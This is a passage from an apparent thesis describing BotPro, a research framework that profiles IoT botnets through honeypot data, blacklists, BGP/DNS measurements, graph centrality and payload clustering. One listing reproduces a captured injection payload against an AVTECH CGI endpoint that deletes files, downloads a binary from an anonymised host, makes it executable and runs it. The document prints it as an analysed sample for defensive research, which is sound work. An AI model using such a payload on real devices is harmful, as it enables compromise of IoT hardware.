ing destination ports they interact such as to profile their scanning behaviour. Algorithm 2
describe the implementation of Shannon entropy in determine the entropy values for port
sequences.
IoT botnet propagation strategy

Through appropriate parsing of URLs we compared IP addresses with active loader in-
structions with source IP addresses in our feeds such as to identify the propagation strategy
adopted by the examined botnet strains as per algorithm 3. If the source IP (𝑠𝑟𝑐_𝐼𝑃 ) does
not match the extracted URL (𝑈𝑅𝐿_𝐼𝑃 ), the proposed algorithm classifies the source IP
as a malicious bot that adopts a P2P architecture (𝑠𝑒𝑙𝑓_𝑝𝑟𝑜𝑝𝑎𝑔𝑎𝑡𝑒). In this case, the ma-
licious bot acts as a C&C server and instructs the potential victim to download malicious
binaries from a loader server. On the other hand, if the source IP (𝑠𝑟𝑐_𝐼𝑃 ) matches the
extracted URL (𝑈𝑅𝐿_𝐼𝑃 ), the proposed algorithm will classify the source IP as a loader
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server that is controlled by a C&C server (𝑐𝑒𝑛𝑡𝑟𝑎𝑙𝑖𝑠𝑒𝑑). The malicious actors instruct the
loader server to login to vulnerable IoT devices and download botnet malware.

Algorithm 3 Identification of IoT botnet propagation strategy.
Require: IP addresses, URLs
Ensure: self_propagate, centralised

1: 𝑐𝑒𝑛𝑡𝑟𝑎𝑙𝑖𝑠𝑒𝑑 ← ∅
2: 𝑠𝑒𝑙𝑓_𝑝𝑟𝑜𝑝𝑎𝑔𝑎𝑡𝑒 ← ∅
3: 𝑖 ← 0
4: while 𝑖 < No. of 𝑈𝑅𝐿_𝐼𝑃 do
5: 𝑡𝑒𝑚𝑝 ← ∅
6: if 𝑠𝑟𝑐_𝐼𝑃 [𝑖] = 𝑈𝑅𝐿_𝐼𝑃 [𝑖] then
7: Add 𝑈𝑅𝐿_𝐼𝑃 [𝑖] to 𝑐𝑒𝑛𝑡𝑟𝑎𝑙𝑖𝑠𝑒𝑑
8: else
9: 𝑗 ← 0

10: while 𝑗 < No. of 𝑠𝑟𝑐_𝐼𝑃 do
11: if 𝑈𝑅𝐿_𝐼𝑃 [𝑖] = 𝑈𝑅𝐿_𝐼𝑃 [𝑗] and 𝑠𝑟𝑐_𝐼𝑃 [𝑗] ∉ temp then
12: Add 𝑠𝑟𝑐_𝐼𝑃 [𝑗] to 𝑡𝑒𝑚𝑝
13: end if
14: 𝑗 ← 𝑗 + 1
15: end while
16: Add {key: 𝑈𝑅𝐿_𝐼𝑃 [𝑖], values: temp} to 𝑠𝑒𝑙𝑓_𝑝𝑟𝑜𝑝𝑎𝑔𝑎𝑡𝑒
17: 𝑖 ← 𝑖 + 1
18: end if
19: end while

3.1.3 Graph Theory and Centrality Measures

Graph Theory, as a branch of discrete mathematics, deals with the study of graphs, which
are mathematical structures consisting of vertices and edges that connect pairs of vertices.
These graphs can be utilised to model and represent various real-world systems and their
relationships, making them a versatile tool for understanding complex phenomena.
In the context of IoT botnets, graph theory can be particularly useful to model and analyse
the underlying network of compromised devices and their connections with core nodes
such as bot loaders.
Centrality measures have been used in our study as a decision-making tool in order to
address a variety of issues pertaining to network security. Such metrics have been used
in the past to identify critical nodes in an effort to mitigate or prevent computer viruses
or malware spreads [169]. In addition, they were used to quantify the potential threat of
websites exposing API vulnerabilities [170].
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In the herein described work, we study the centrality properties of botnet loaders from a
graph-theoretical perspective. In particular, the concept of centrality is applied to deter-
mine node significance with respect to its graph connectivity. Furthermore, through the
centrality measure, we assess the level of influence or significance of vertex in a graph and
reflect on specific Internet topology properties. Hence, we employ metrics associated to
centrality such as degree centrality, betweenness and local clustering coefficients to profile
critical nodes in a botnet P2P network and analyse its robustness.
A graph 𝐺 consists of a finite set of vertices or nodes and a finite set 𝐸 of edges or links.
A set of nodes representing all bots on a botnet network 𝐺 is written as:

𝑉 (𝐺) =
{

𝑣1, 𝑣2, 𝑣3, ..., 𝑣𝑛
} (3.14)

The edges (e) represent neighbourhood relations between the nodes and are defined as:

𝐸(𝐺) =
{

𝑢𝑎𝑣𝑎, 𝑢𝑏𝑣𝑏, ..., 𝑢𝑛𝑣𝑛
} (3.15)

where each pair 𝑒 = (𝑢, 𝑣) denotes a connection between two nodes in 𝐺(𝑉 ). For example,
the edge is added to the set of edges 𝐸, when communication is observed between node 𝑢𝑎
and 𝑣𝑎. Moreover, if a communication is detected between vertices (𝑣𝑖) and (𝑣𝑗), then edge
(𝑒𝑖𝑗) = (𝑣𝑖, 𝑣𝑗) is added to the set of edges 𝐸. Eventually, a botnet communication graph is
generated from monitoring the traffic between bots and botnet loaders, as well as between
bots and DNS servers. Similarly, we construct a graph representing the connectivity among
ASes embracing bots and ASes hosting botnet loaders.
Degree centrality: represents the total number of edges connected to a certain node. By
using the following formulation, we can define the degree centrality of each node in the
P2P botnet network.

𝐶𝐷(𝑖) =
𝑔𝑖

(|𝑁| − 1)
(3.16)

Where 𝐶𝐷(𝑖) indicates the degree centrality of node 𝑖, and 𝑔𝑖 is the number of edges of a
node, and 𝑁 is the number of the nodes on the graph. A high degree centrality indicates
high node significance in the network.
Betweenness Centrality: reflects the fraction of shortest paths that go through the node
relative to the total number of shortest paths in the graph. It also quantifies the number of
times a node acts as a bridge along the shortest path between two other nodes. Thus, the
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betweenness centrality 𝐶𝐵 of node 𝑖 can be computed as follows:

𝐶𝐵(𝑖) =
∑

𝑗≠𝑘≠𝑖

𝑔𝑗𝑘(𝑖)
𝑔𝑗𝑘

(3.17)

Where the sum is performed on all pairs of nodes 𝑗 and 𝑘 distinct from 𝑖 and from each
other, 𝑔𝑗𝑘(𝑖) indicates the number of shortest paths connecting 𝑗𝑘 passing through 𝑖, and
𝑔𝑗𝑘 indicates the total number of shortest paths from vertex 𝑗 to vertex 𝑘. Hence, the
contribution of the pair (𝑗, 𝑘) to the betweenness of 𝑖 is 1, if all shortest paths between 𝑗
and 𝑘 pass through 𝑖. The contribution takes a zero value if no shortest path between 𝑗 and
𝑘 passes through 𝑖.
Closeness centrality: of vertex 𝑖 is defined as the mean distance from vertex 𝑖 to every
other reachable vertex.
The closeness centrality of node 𝑖 in graph 𝐺 is given by:

𝐶𝐶(𝑖) = 1
∑

𝑗≠𝑘 𝑔(𝑗, 𝑘)
(3.18)

Local clustering coefficient (LCC): of a node 𝑖, and 𝑙𝑗 is the number of edges among
neighbors of 𝑗 where 𝑔𝑗 is the number of neighbors to node 𝑣.

𝐿𝐶𝐶(𝑖) =
2𝑙𝑗

𝑔𝑗(𝑔𝑗 − 1)
(3.19)

Therefore, 𝐿𝐶𝐶 = 0 if none of the neighbours of a node 𝑗 are connected and 1 if all of the
neighbours are connected.
Eigenvector Centrality (EC): represents the level of importance of a node in a given
graph, where a node’s importance relies on the importance of its neighbours. The EC
takes into account that connections to more central nodes make the connected nodes more
relevant to the whole network. Hence, the EC indicates that a node with a high degree is
connected to other nodes with high degrees as well.

𝐸𝐶(𝑣) = 1
𝜆

𝑛
∑

𝑖∈𝑁(𝑣)
𝐴𝑣𝑖𝑥𝑖 (3.20)

where 𝜆 is the largest eigenvalue of the adjacency matrix of a graph 𝐺, 𝑁(𝑣) is the total
number of nodes neighbours of 𝑣 and 𝑥𝑖 and 𝑥𝑖 is the eigenvector centrality of node 𝑗. 𝐴𝑣𝑖

is the adjacency matrix of the constructed graph, where:



CHAPTER 3. BOTPRO FRAMEWORK 57

𝐴𝑣,𝑖 =

{

1 if there is an edge between node 𝑣 and node 𝑖
0 if there is no edge between node 𝑣 and node 𝑖

(3.21)

3.1.4 Natural Language Processing

Due to the proliferation of IoT botnets, it has become more critical to develop techniques
for tracking and identifying their behavioural properties. We use the Natural Language
Processing (NLP) technique to detect and reveal botnet behavioural patterns via the anal-
ysis of probing events and payloads observed by honeypots. The deployed honeypots in
our work are configured to observe and log various types of botnet activities including
shell commands and scanning/probing. Such activities are formatted in natural language
text, hence applying NLP techniques is significantly important to convert recorded logs to
feature vectors. Extracted features from cyber data can potentially be useful for spotting a
new form of attack or an organised attack by a botnet.
Applying unsupervised learning approaches on such features could aid significantly in re-
vealing hidden patterns and insights in datasets, as well as identifying signs of attacks.
Thus, the primary objective of unsupervised learning problems is to discover patterns,
structures, or meaningful information in unlabeled data.
One feature of our dataset is port-scanning packets, which are frequently produced by com-
promised hosts on the Internet including IoT botnets. These malicious endeavours are often
conducted on a single target port that is known to host services that include known vulner-
abilities. Even though extracting and differentiating various port scanning techniques is a
difficult process, establishing relationships between probed ports is critical for analysing
adversary actions and ultimately improving their mitigation. Another feature of our dataset
is payloads, which typically contain attackers’ commands to install binary files into the po-
tential victim. Our aim is to detect compromised hosts with similar attack behaviour and
their relationship to the origin AS.

3.2 Measurement Infrastructure

This part focuses on the measurement infrastructure and data building process used to gen-
erate a reliable ground truth dataset for profiling IoT botnets with BotPr. To achieve this,
it is essential to operate with Open-source intelligence (OSINT) feeds that present real
IoT botnet traffic. We utilise globally distributed honeypots to simulate potential vulner-
abilities that can be compromised by malicious actors. The honeypots capture incoming
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traffic from malicious actors targeting them, resulting in the generation of a comprehensive
dataset of real-world malicious events. The resulting dataset was classified based on the
different types of activities observed by the honeypots, allowing for a more granular anal-
ysis of the data. We have classified the observed events into different categories, including
port scanning which is a popular method used by malicious actors to find susceptible hosts.
By identifying these activities and showcasing open ports that are vulnerable to being ex-
ploited, we gain valuable insights into the types of activities on the network, which can
help in detecting and analysing IoT botnets.
To build a reliable ground truth dataset for profiling IoT botnet using BotPro, we utilise
multiple sources of Internet measurement data. First, we correlate all the source IP ad-
dresses observe by honeypots with MaxMind GeoLite 21 database, which provid insights
into the geographic distribution of botnet activities. Next, we map the IP addresses in-
volved in botnet activities to their originating ASes using the Internet topology data pro-
vided by RIPE. This allowed us to identify the ASes involve in malicious activity, which
is essential for understanding the hierarchical structure of botnets. By utilising such BGP
data, we were able to determine the ASes involve in the malicious activity, while data
from the Shadowserver Foundation enable us to reveal the advertise IP prefixes for each
AS in our dataset.
Our collected data is securely hosted, managed, and accessed remotely via MongoDB At-
las. It is a cloud-based database service that offers robust security features and efficient
querying capabilities. By utilising these Internet measurements and databases, we can fur-
ther analyse the ground truth dataset and provide a more comprehensive understanding of
the IoT botnet landscape.
In addition to the integration of various Internet measurement tools and datasets, monitor-
ing fundamental structural properties of the Internet is essential for tracking the propaga-
tion of IoT botnets, and profiling their malicious activities, and identifying their character-
istics. As such, in our work, we monitor the routing policies, domain name system (DNS)
of the Internet, and border gateway protocol (BGP). In this work, we leveraged some of the
most commonly-used blacklists implemented by Internet registries and ISPs for botnet ac-
tivities, phishing and spam. Namely we used; ( (i) Spamhaus 2,(ii) Barracuda 3, (iii) Spam
Open Relay Blocking System (SORBS) 4, and (iv) Composite Blocking List (CBL) 5.

1MaxMind: https://www.maxmind.com/en/home
2Spamhaus:https://www.spamhaus.org/
3Barracuda: https://www.barracudacentral.org/
4SORBS: http://www.sorbs.net/
5CBL: https://www.abuseat.org/
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Figure 3.2: Measurement infrastructure used in building the ground truth data.

The measurement infrastructure responsible for constructing the ground truth data is il-
lustrated in Fig. 3.2, which integrates multiple Internet measurement tools and datasets to
generate a reliable ground truth dataset for profiling IoT botnets with BotPro. By monitor-
ing these fundamental structural properties of the Internet and integrating various Internet
measurement tools and datasets, we can enhance the capabilities and effectiveness of Bot-
Pro in profiling the behaviour of IoT botnets. In order to retrieve the attributes of each AS,
we exploit the CAIDA’s ASRank. We managed to identify the degree for each AS and
the types of their neighbours. Such degree assist in understating the importance of the AS
regarding global traffic routing on the Internet.

3.3 Summary

In this chapter, the fundamental methodology for tracking and profiling IoT botnets has
been described and designed to address the limitations and gaps identified in the existing
literature. As described in Section 3.1, the methodology serves as the backbone of our
framework detailing the process undertaken to achieve the goals outlined in the actions.
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As discussed in Section 3.1.2, methodology encompasses various analytical tools and tech-
niques to provide in-depth analysis and insights into the behaviour and operation of IoT
botnets. The methodology incorporates graph theory to understand the network structure
and communication patterns of IoT botnets. This can reveal the topology of the botnet,
providing insights into how the botnet propagates and coordinates its activities. In addi-
tion, The ML method is implemented within the methodology, which aims to cluster the
IoT botnet samples based on their behaviour. Clustering involves categorizing objects into
clusters, which are groups of objects that share more similarities with each other than with
objects from other clusters. The application of clustering techniques can provide valuable
insights into distinctive patterns and trends that characterise the operational strategies of
various botnets. The identification of commonalities among botnets can potentially pro-
vide insights into the existence of a shared origin or control structure.
As described in Section 3.2, the measurement infrastructure aims to generate a reliable
ground truth dataset for profiling IoT botnet. Hence, it encompasses diverse data sources
to ensure a comprehensive view of the botnet landscape. The infrastructure includes a
network of globally distributed honeypots, designed to trap botnet attacks. Such honey-
pots assist in capturing botnet activities from different geographical regions and diverse
network environments.
In addition, we conduct a correlation analysis between honeypot data and IP blacklists.
This analysis provides further insights into the effectiveness of blacklists in capturing bot-
net activities. BGP plays an essential role in understanding how information routes be-
tween different ASes on the Internet. The BGP data is utilised to gain insights into the role
of inter-domain routing in botnet propagation, as well as to understand the characteristics
of ASes that harbour botnet activities. In addition, DNS data is utilised to understand how
botnets leverage domain names to maintain their networks. .



Chapter 4

BotPro implementation

The chapter begins by outlining the overall architecture of BotPro and breaking down its
various components. It explains the relationship between the main components. The chap-
ter illustrates the data collection module, which utilises globally distributed honeypots to
capture real-time botnet activities, as well as the data processing module, responsible for
extracting and preparing the data for analysis.
The following section describes the analytical module of BotPro. It elaborates on the ap-
plication of statistical techniques and principles of graph theory used to unravel complex
patterns, relationships, and trends in botnet activities. We also highlight the unsupervised
learning methods implemented for profiling IoT activity.
The final part of this chapter focuses on the visualisation capabilities of BotPro. It ex-
plains how BotPro presents the analysed data to aid users in understanding the evolving
botnet landscape effectively. The source code developed to implement BotPro is available
at GitHub 1.

4.1 BotPro Architecture

The system architecture of BotPro plays a crucial role in the implementation and function-
ing of the framework. It encompasses the overall design, organization, and interconnec-
tions of the various components and modules within our proposed system. The architecture
is designed to enable efficient data processing, analysis, and visualisation, ensuring the ef-
fective profiling of IoT botnet behaviour. Fig 4.1 illustrates the typical key components of
the system architecture in BotPro, which will be described in detail.

1GitHub: https://github.com/almazarqi/BotPro
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Figure 4.1: Overview of the BotPro system architecture showing interaction flow
between the main modules.

4.1.1 Data Collection Module

The aim of this component is to gather data from various sources, including honeypots,
BGP routing, DNS and IP blacklists. It serves the purpose of establishing connections with
these sources implementing mechanisms to retrieve data. In addition, it is responsible to
insure the secure and reliable transfer of collected data to the processing component for
further analysis.
After collection, the data will be stored and organized in a way that is efficient for retrieval
and analysis. Hence, BotPro uses MongoDB, a NoSQL database well-suited for handling a
vast amount of diverse data. Fig.4.2 represents the entity-relationship diagram of the Bot-
Pro database structure for constructing the ground truth data and shows nine main tables.
The ERD is meant to show the actual relationship between different entities of the proposed
system. It shows the representation of the database with the relationships between different
tables.
In the implementation of the BotPro framework, multiple dataset sources are utilised to
generate reliable and comprehensive data for profiling IoT botnet behaviour. These dataset
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Figure 4.2: ER Diagram for BotPro MongoDB Database to establish ground
truth data.

sources provide the foundation for analysis and insights into the characteristics and activ-
ities of botnets. The following dataset sources are commonly integrated into the BotPro:

– Attacks honeypot: we collected cyber threat intelligence (CTI) data generated by
attack honeypots. The data was generated by Okta globally-distributed network of
honeypots placed on 40 unique ASes in 16 countries. These honeypots detect active
botnets by emulating hundreds of vulnerable IoT devices, including IP cameras, smart
home devices and consumer-grade routers frequently targeted by botnets that scan
the internet and engage in malicious activity. Incoming traffic from malicious actors
targeting the honeypots is captured and further indexed using Splunk. Fig 4.3 shows
an example of honeypot raw data.
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Figure 4.3: Honeypot raw data.

– IP address reputation: leverages some of the most commonly-used blacklists im-
plemented by Internet registries and ISPs for botnet activities, phishing and spam. We
combined this data with IP addresses identified by the honeypots in order to identify
ASes that showed an abnormally high level of harmful activities. Namely, we used
(i) Spamhaus,(ii) Barracuda, (iii) Spam Open Relay Blocking System (SORBS), and
(iv) Composite Blocking List (CBL). An example of IP address reputation results is
shown in Fig. 4.4.

Figure 4.4: Example of blacklist result, showing the status of the IP address in
the respective blacklist, indicated by a binary value (0 or 1), where 0 represents
not listed and 1 represents listed.

– BGP routing data: interacts with ASRank API by employing a series of steps to
acquire further info about certain AS. Initially, it sends HTTP requests to the desig-
nated ASRank API endpoint, incorporating the ASN number as a parameter. These
requests facilitate the retrieval of the specific AS information required. The response
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received from the API is formatted in JSON, containing a comprehensive set of de-
tails pertaining to the requested AS, such as its AS Name, rank, organization details
and routing information. Upon receiving the API response, the code proceeds to ex-
tract the relevant information and store it in a dedicated MongoDB collection referred
to as "CAIDA".

– Shadowserver data: the component further utilises the Shadowserver API to reveal
the advertised IP prefixes for each AS in our dataset. Shadowserver provides an ASN
report containing all the routed Classless Inter-Domain Routing (CIDR) for an AS. It
iterates over the retrieved ASNs and constructs API requests with appropriate prefixes
to retrieve additional information about each ASN. The component makes use of the
requests library to send HTTP requests to the Shadowserver API. The responses are
processed, and the prefix count and prefixes associated with each ASN are extracted.

– DNS: issues DNS lookup queries to map IP addresses with their associated recursive
DNS servers. The responses from the resolver are presented in a standard DNS for-
mat, including PTR record and The Time-To-Live (TTL). The PTR record (pointer
record) determines which domain is connected with the IP address, known as rDNS.
The TTL value signifies how long the resolved data can be cached.

– ASes: utilises the ipwhois library to perform ASN lookup for a set of the observed
source IP addresses. It retrieves the corresponding ASN information, including IP
prefix, country and organization details. This component establishes a connection
with the MongoDB database, retrieves a list of distinct IPs and runs a query to per-
form a bulk ASN lookup. The retrieved ASN information is stored in a separate
MongoDB collection named "ASes". Each document in the "ASes" collection rep-
resents a distinct ASN and contains relevant information. Such a structured storage
format enables efficient querying and analysis of the ground truth data.

4.1.2 Data Processing Module

Once the data is collected, it is forwarded to the data processing module to prepare it for
further analysis. Here, the raw data undergoes a series of transformations, including data
cleaning, normalization, feature extraction, and organization. This stage involves multi-
ple producers that perform specific tasks to extract and transform the data. As shown in
Fig.4.5, producers are connected to a consumer that receives the processed data and per-
forms processing. The consumer consumes the output generated by each producer and
processes the data. The operations include:
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– URL extracting: the received payloads contain embedded URLs and shell com-
mands that are used to direct the victim to download malicious binaries. BotPro
extracts the URLs from all gathered payloads by leveraging regular expressions to
locate botnet loaders. Below is an example of a payload stored within our MongoDB.

Code Listing 4.1: Sample of a malicious payload targeted IoT device.
GET/cgi-bin/supervisor/CloudSetup.cgi?exefile=cd /tmp;rm -rf *; wget

http://X.X.X.X/bins/ayylmao420kekuaintge -O 27.x; chmod 777 27.x;

./27.x avtech; echo keksec HTTP/1.1

As shown, the sample payload contains a URL used to direct the victim to download
binaries from a specific domain that we anonymise. In addition, the payload embeds
the piping of a chmod command (i.e., chmod 777) after the device downloads the
binary via the wget instruction such as to provide full read/write/execute privileges
to the downloaded binary. Hence, the malware taking full access control over the
infected system. Through appropriate parsing of URLs we compared IP addresses
with active loader instructions with source IP addresses in our feeds such as to identify
the propagation strategy adopted by the examined botnet strains as per Algorithm 3.

– IP address mapping: achieved by mapping a set of IP addresses involved in botnet
activity to their originating ASes via applying Equation 3.1. Once it is completed,
the module stores the results in a MongoDB collection named ASes.

– Port sequences: typically, botnets attempt to establish a series of connections on
different ports of the targeted IoT devices. To understand this behaviour, Equation
3.13 aims to compute the distribution of targeted ports. For instance, there might be
connection attempts on ports 80, 443, and 8080, which are recorded at specific times-
tamps t1,t2 and t3 respectively. To analyse the randomness of this activity, entropy is
computed based on the sequence [80,443,8080]. Hence, the events are sorted based
on the timestamp of each targeted port. This allows for the sequence of ports to be
accurately determined. The sequence alongside relevant data (e.g., IP) is stored in
the ports targeted collection in MongoDB.

– TF-IDF: convert the payloads into a numerical form to perform ML clustering. Every
payload is broken down into its individual tokens. The TF-IDF score is computed for
each token in each payload multiplying the TF and IDF as described in Equation 3.8.

– Cluster number: responsible to select the optimal number of elbow, BotPro imple-
ment the kneed Python package for this purpose.
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Figure 4.5: Data processing workflow in BotPro’s processing module: Four pro-
ducers generating processed data for analysis.

4.1.3 Analytical Module

The analytical module represents the core of BotPro, where in-depth data analysis occurs.
It interacts with the data collection and data processing modules to ensure that the most
recent and relevant data is always available for analysis. This component leverages ad-
vanced statistical techniques, unsupervised learning methods and graph theory concepts
described in Section 3.1.2. It seeks to reveal complex patterns, relationships, and trends
within the botnet activities. This module is responsible for the following tasks:

– Scanning analysis: responsible to analyse the sequence of source ports that were
constructed by data processing module. It applies the entropy formula in Section
3.5 to compute the entropy value for the scan patterns for each source IP address. It
also assesses the number of unique ports related to each scan attempt. In addition, it
applies the NLP to analyse the scanning activity of IoT botnets and identify the most
frequent ports over all sequences.

– Blacklists efficiency: employs the statistical measure of CV that is described in
Equation 3.5 in order to evaluate the effectiveness of IP blacklists in capturing IoT
botnet activities. It also assesses the CV distribution of correlating malicious IP ad-
dresses overall observed ASes. Hence, it offers a macro-level view of the effective-
ness of blacklist data feeds across different ASes. For instance, a higher CV value
implies that the IP blacklist is not effectively capturing the botnet activity in a par-
ticular AS. Conversely, a lower CV value indicates that the IP blacklist efficiently
represents the observed botnet activities in that AS.
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– AS degree: based on the BGP inter-domain measurements that were obtained by the
data collection module, this component aggregates the number of connected neigh-
bours to an AS as explained in Equation 3.7. The analysis aims to show the most
important AS attributes that frequently host IoT botnet activity.

– AS temporal length analysis: aims to calculate the duration of time for AS that was
involved in facilitating botnet activities as described in Equation 3.12. Such outcomes
will be further analysed to identify the strategy adopted by malicious attackers to
avoid detection. In addition, the insights show how malicious attackers ensure the
transmission of critical components, such as botnet loaders.

– Abuse rate analysis: utilise the BGP measurement generated via the data collection
module to quantify the extent to which an AS is exploited to launch botnet activates.
It is achieved through applying Equation 3.1.2. Furthermore, the generated abuse
rate is fed into the JNB algorithm in order to cluster ASes into distinct groups and
study their attributes.

– Botnet propagation strategy: responsible for applying Algorithm in 3 to identify
propagation strategy adopted by IoT botnet. It processes the source IP addresses
and URLs associated with payloads to identify whether a botnet spreads through a
centralised or decentralised architecture.

– Graph theory analysis: utilises graph theory concepts that are explained in 3.1.3
to explore relationships and interactions between various IoT botnet entities in the
network. This component is responsible to construct a botnet communication graph
through observing network traffic between bots and botnet loaders, which are ac-
countable for disseminating malware payloads. In addition, it generates a connec-
tivity graph among ASes embracing bots and ASes hosting botnet loaders. Such
graph highlights the ASes that are dedicated for routing of intra-AS traffic to bots
and outside their domains. Through capturing the traffic between DNS and bots, this
component shows how IoT botnets exploit DNS to resolve domain names linked with
their C&C servers.

– Infection analysis: employs ML methods, specifically k-means clustering to analyse
the data generated by IoT botnet during the infection phase. The algorithm aims to
segment the observed payloads during the infection phase into distinct clusters. Con-
sequently, each cluster represents a group of similar infection activities and reveals
attack vectors that are employed by IoT botnets to compromise IoT devices.
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4.1.4 Visualisation and User Interface Module

This module is responsible to enable BotPro’s users to interact with the analysed data.
The front end is designed to communicate effectively with the back end, where the data
processing, analysis and visualisation occur. It retrieves the processed and analysed data
from the back end, presents it in an organized manner and allows users to manipulate the
view of the data, supporting their exploration and understanding of the results.

BotPro

Analytical
module

Visualisation
module Streamlit

MQL
JavaScript

Python  
API

Figure 4.6: Architecture diagram showing the components and flow of the Bot-
Pro web application.

An integral part of this module is the creation of dashboards, which serve as centralised
platforms for displaying multiple visualisations simultaneously. Dashboards provide a
snapshot of key findings and metrics and enable users to monitor and compare various
aspects of IoT botnet activities in real-time. The prepared data is passed on to a specific
visualisation function within Streamlit. It provides interactive dashboards and visualisa-
tions that allow users to explore and analyse the data derived from the profiling of IoT
botnet behaviour. Streamlit’s user-friendly interface and efficient rendering capabilities
enable seamless integration with the BotPro framework, providing a compelling platform
for users to interact with the analysed data. As shown in Fig. 4.6, it represents the key
web components utilised in BotPro, including Streamlit for the user interface, Python API
for handling backend functionalities, and MQL for retrieving data from the processing
module.
The map interface, as demonstrated in Fig. 4.7, depicts the location and density of IoT
botnet activities across the world. Each point on the map represents an IoT device that was
infected by a botnet. The size and colour intensity of the point indicate the concentration
of infected devices in that region. This geographical distribution map provides invaluable
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Figure 4.7: Snapshot of map generated by BotPro showing the geographic dis-
tribution of IoT botnet.

insights into the global reach of IoT botnets. It enables users to identify hotspots of botnet
activity and to understand regional trends in IoT botnet propagation. Another compelling
feature offered by BotPro’s user interface is the visualisation of network topologies for
ASes that play a key role in spreading malicious content. Fig. 4.8 represents the ability of
BotPro to determine the most active ASes which are responsible for botnet propagation.
Visualizing such ASes in the form of network topologies can reveal vital patterns and
structures within IoT botnet propagation. Such visualisations allow users to identify key
ASes in the botnet’s operation, thereby contributing to a better understanding of how these
botnets leverage the Internet’s infrastructure to spread.
In addition, BotPro’s user interface includes the ability to generate a connectivity graph that
depicts the relationships between botnet loaders and the infected IoT devices associated
with them as shown in Fig. 4.9.
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Figure 4.8: Screenshot of network topologies for ASes generated by BotPro, sug-
gesting that nodes identified by centrality metrics are more effective at spreading
malicious content throughout the Internet.

Figure 4.9: Snapshot of the BotPro dashboard for tracking bot loaders and de-
tecting super nodes.
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4.2 Real-time Data Processing and Analysis in BotPro

Real-time data processing is essential for the BotPro system to effectively track and profile
the ongoing threats posed by IoT botnets. The integration of powerful tools such as Rab-
bitMQ allows for instantaneous and effective handling of high-volume data in real-time.
RabbitMQ™ is an open-source middleware focused on message handling (also known
as a message broker) that adheres to the Advanced Message Queuing Protocol (AMQP).
It ensures messages are delivered reliably, with assurance, and in the correct sequence.
This capability ensures BotPro stays up-to-date with the rapidly evolving landscape of
IoT botnet activity, providing timely and insightful analysis that can help in the proactive
mitigation of threats. The seamless flow of data, powered by RabbitMQ’s distribution
capabilities, and the asynchronous handling of tasks enable BotPro to function as a real-
time defence mechanism against IoT botnet propagation.
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Figure 4.10: Integration of RabbitMQ in BotPro for real-time processing and
analysis.

The RabbitMQ is made up of four primary components: (i) Producers, (ii) Consumers, (ii)
Exchanges, and (iv) Queues [171]. Communication between publishers and consumers
occurs via message queues that are connected to exchanges inside the brokers as shown in
Fig. 4.10. In BotPro, the RabbitMQ functions as a message broker by receiving messages
from the producer and forwarding them to recipients via the exchanges.
Exchanges are tasked with the responsibility of receiving messages from producers and
directing them towards message queues, whereby each message queue is linked to a con-
sumer. Every consumer establishes a message queue with an exchange, specifying their
interest in certain messages by utilising a binding key. Each time a producer releases a
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message, they allocate it a routing key. Hence, exchanges direct messages based on the
exchange type, the routing key of the message, and the binding key of the associated con-
sumers. Such module is commonly described as a publish and subscribe model. Origina-
tors release messages and recipients subscribe to receive them. The internals of routing
the published messages are controlled by exchanges and are responsible to deliver them to
appropriate subscribers.
To ensure real-time updates, the script utilises threading to consume RabbitMQ messages
in a separate thread. When a new message is received, the script inserts the corresponding
data into the MongoDB collection and triggers a Streamlit rerun. This rerun fetches the
updated information from the collection and refreshes the summary table and bar chart
with the latest data, resulting in an interactive and dynamic dashboard. Fig. 4.11 shows
the control panel of the RabbitMQ dashboard as part of BotPro’s implementation. It offers
a wide-ranging view of the message queue status, indicating the count of messages that
have been published, confirmed and delivered.

Figure 4.11: Snapshot of the RabbitMQ Dashboard as part of BotPro’s imple-
mentation, showing real-time message queuing and task management

As BotPro incorporates various applications, scripts, RabbitMQ clients and interacts with
external servers. Therefore, some complexities can be encountered during the deployment
and setup process. Such difficulties arise from various environmental elements, including



CHAPTER 4. BOTPRO IMPLEMENTATION 74

different OS platforms and management tools. Hence, the BotPro implementation incorpo-
rates Docker which is a containerization platform. It aims to improve the deployment and
scalability aspects of our proposed system. In addition, Docker provides a lightweight and
portable environment that encapsulates all the necessary dependencies and configurations.
This ensures BotPro operates seamlessly across different platforms.
BotPro is an open-source software tool that is designed with essential features and algo-
rithms to effectively profile IoT botnet activities. BotPro has been designed to adapt the
generic properties of real-world data as derived from a robust measurement infrastructure
that forms the foundation of its core architecture. It can be directly implemented in real-
world scenarios. The malicious data captured by global honeypots, including scanning
and infection activities, are fed directly into BotPro in real-time. Hence, BotPro leverages
the RabbitMQ to interact with external services to obtain relative information about IoT
botnet, including BGP, AS-level and DNS. Upon receiving new data from the honeypots,
BotPro is designed to publish this received data to different consumers which responsible
to interact with various external services. The system activates this process in response to
the influx of new data from the honeypots. This ensures that the analysis of ground truth
data will provide meaningful profiling insights about recent IoT botnets. BotPro will rerun
the analytical modules that are built by leveraging the statistical techniques and principles
of graph theory. The scripts and algorithms are triggered automatically upon receiving
new data to ensure timely analysis. In addition, BotPro required a continuous update to
effectively profile new emerging threats.

4.3 Summary

This chapter presented the architecture of BotPro and explained its structure and key func-
tionalities. As described in Section 4.1, the system architecture of BotPro consists of four
main modules: (i) data collection module, (ii) data processing module, (iii) analytical mod-
ule and (iv) visualisation & user Interface module.
Section 4.1.1 presented the data collection module that serves as the primary stage within
the BotPro pipeline. It is responsible for interfacing with a wide variety of data sources, in-
cluding attack honeypots, global blacklists, BGP and DNS. As explained in Section 4.1.2,
the data processing module is accountable for cleaning, structuring, and preparing raw
data obtained from the data collection module. For instance, it performs payload extrac-
tion, port sequence formation and data labelling, which are important for the subsequent
analysis. In addition, the module undertakes the task of converting text data into numerical
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formats. Such technique commonly known as vectorisation is an essential step in the data
preparation phase for ML algorithms.
As explained in Section 4.1.3, the analytical module functions as the core engine of the
BotPro, where the real analysis of the data occurs. It consists of various algorithms and
methodologies, including statistical analysis, ML algorithms, and graph theory. It aims
to analyse and interpret the data that has been processed by the data processing module.
The insights derived from this module aim to meet BotPro’s actions to effectively iden-
tify, assess, and attribute the behaviour of IoT botnets. As discussed in Section 4.1.4, the
visualisation and user interface module acts as the front-end of the BotPro system and is
responsible to transform the results generated by the analytical module into visual outputs,
including graphs, charts and tables. In addition, the visualisation and user interface mod-
ule is equipped with advanced capabilities to produce a network topology that identifies
the super nodes within IoT botnet network. Such nodes play a critical role in expanding the
IoT botnet networks and increase their resilience. As IoT botnets continue to evolve and
propagate rapidly, the need for real-time data processing and analysis becomes important.
BotPro is designed to meet this challenge through offering insights into the evolving and
behaviours of IoT botnets. Section 4.2 presented the real-time data processing and anal-
ysis capacities of BotPro. It explained how BotPro can stay up-to-date with the rapidly
evolving landscape of IoT botnet activity.



Chapter 5

